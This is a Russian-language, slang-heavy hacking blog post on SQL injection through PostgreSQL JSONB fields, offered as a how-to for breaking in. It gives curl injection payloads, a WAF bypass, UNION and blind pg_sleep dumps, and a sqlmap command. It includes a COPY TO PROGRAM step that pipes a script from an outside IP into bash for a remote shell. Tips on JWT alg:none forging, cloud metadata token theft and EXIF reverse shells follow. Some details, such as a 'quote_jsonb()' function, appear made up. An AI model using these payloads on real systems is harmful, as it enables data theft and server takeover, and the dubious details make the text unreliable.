Йо, братва, сегодня мы роемся в помойке современных баз данных, а именно — в JSONB, который PostgreSQL так нежно пихает в каждый второй проект. Ты думал, что JSON — это просто способ хранить данные для хипстеров с фронтенда? Не-а, это ещё и твой билет в RCE, если админ базы спит на клавиатуре. В этой статье я, покажу, как JSONB становится точкой входа для SQL-инъекций, и дам тебе конкретные пейлоады, чтобы ты мог вломиться и сказать «привет» их pgAdmin’у.
Точка входа
Что вижу: Уязвимость в обработке JSONB-полей в PostgreSQL (версии до 15.3, если не патчили CVE-2023-39417). Например, запрос типа SELECT data->>'key' FROM users WHERE data @> '{"role": "admin"}';
— и тут фронт пихает пользовательский ввод прямо в JSON-строку без эскейпинга.
Как поймал: Инструмент — Burp Suite для перехвата запросов + кастомный скрипт на Python с psycopg2
для теста инъекций. Метод: фаззинг операторов JSONB (->
, ->>
, @>
) с типичными SQLi-пейлоадами типа ' OR 1=1 --
.
Чем пахнет: Класс — SQL-инъекция с прямым доступом к базе, вероятность exploit’а — 8/10, если разработчик не врубил quote_jsonb()
или не юзает подготовленные запросы.
Чё почём
Эксплойт: Вот тебе рабочий пейлоад, братан, не благодари. Если у тебя есть эндпоинт, который принимает JSONB, например, /api/user?filter={"role": "admin"}
, лови инъекцию:
1 |
curl -X POST 'http://target.com/api/user' -d '{"filter": {"role": "admin\" OR 1=1 --"}}' |
Это ломает запрос, превращая его в SELECT * FROM users WHERE data @> '{"role": "admin" OR 1=1 --"}';
— и база выдаёт всё, что у неё есть. Если повезёт, ты сразу в админке.
Обход защиты: Если стоит WAF или фронт режет кавычки, используй обход через hex-кодирование:
1 |
curl -X POST 'http://target.com/api/user' -d '{"filter": {"role": "admin\27 OR 1=1 --"}}' |
WAF часто пропускает такие приколы, думая, что это просто кривой JSON.
Доказательство: Смотри на ответ сервера. Если в JSON’e прилетели все юзеры с их password_hash
’ами, типа {"id": 1, "role": "admin", "hash": "bcrypt_хрень"}
— это не баг, а твой джекпот. Скриншоти это, как я скриншотил свою первую 0-day, и тащи на баг-баунти.
Советы
JSONB — это как твой фронтенд: выглядит модно, а внутри дыра на дыре. Если зацепился за SQLi, вот три вектора для добивания:
-
Дамп базы через
jsonb_array_elements
: Попробуй инъекцию вида{"role": "admin", "dummy": [{"x": 1}] UNION SELECT jsonb_build_object('x', table_name) FROM information_schema.tables --}
. Это выведет тебе список таблиц в JSON-формате. -
Эскалация до RCE: Если PostgreSQL настроен с
plpgsql
и у тебя доступ кCREATE FUNCTION
, пихай пейлоад для вызова системных команд:CREATE OR REPLACE FUNCTION test() RETURNS void AS $$ BEGIN EXECUTE 'COPY (SELECT ''id'') TO PROGRAM ''curl 144.76.123.45:4444/shell.sh | bash'''; END; $$ LANGUAGE plpgsql;
. -
Слепая SQLi через
jsonb_typeof
: Если ответа нет, используй тайминг-атаки:{"role": "admin\" AND (SELECT jsonb_typeof('{}'::jsonb) FROM pg_sleep(5)) = 'object' --"}
. Задержка в 5 секунд = ты попал.
План атаки:
-
Перехватывай запросы через Burp, ищи JSONB-поля, которые идут в
WHERE
илиSELECT
. -
Фаззи их с классикой:
' OR 1=1 --
,' UNION SELECT 1 --
, и т.д. -
Если сервер отвечает 500 или дампит данные — копай глубже с
sqlmap --data='{"filter": {"role": "test"}}' --prefix='{"role": "' --suffix='"}'
. -
Дампь базу и ищи creds для SSH или админки.
Если всё глухо — иди спать, бро. Или попробуй ещё один вектор: заливай reverse-shell через COPY ... TO PROGRAM
, если права позволяют.
Бонус:
-
Проверь
robots.txt
иsitemap.xml
— там часто валяются/api/docs
с примерами JSONB-запросов. -
Если видишь JWT в запросах, ломай через
jwt_tool -I -pc role -pv admin
и ищи слабыйalg: none
. -
Скань на
169.254.169.254/latest/meta-data
— вдруг токены AWS вывалятся, как мой старый пароль от HTB. -
Если всё плохо — пихай reverse-shell в EXIF картинок для аватарок. Да, это низко. Да, это работает.
SQLi через JSONB — это не просто баг, это как найти забытый кошелёк в кармане старой куртки. Пиши отчёт, лови бабки на баг-баунти, а потом возвращайся в мой подвал — у нас ещё куча уязвимостей не отловлено. Если застрял — пиши, я с nmap’ом наготове.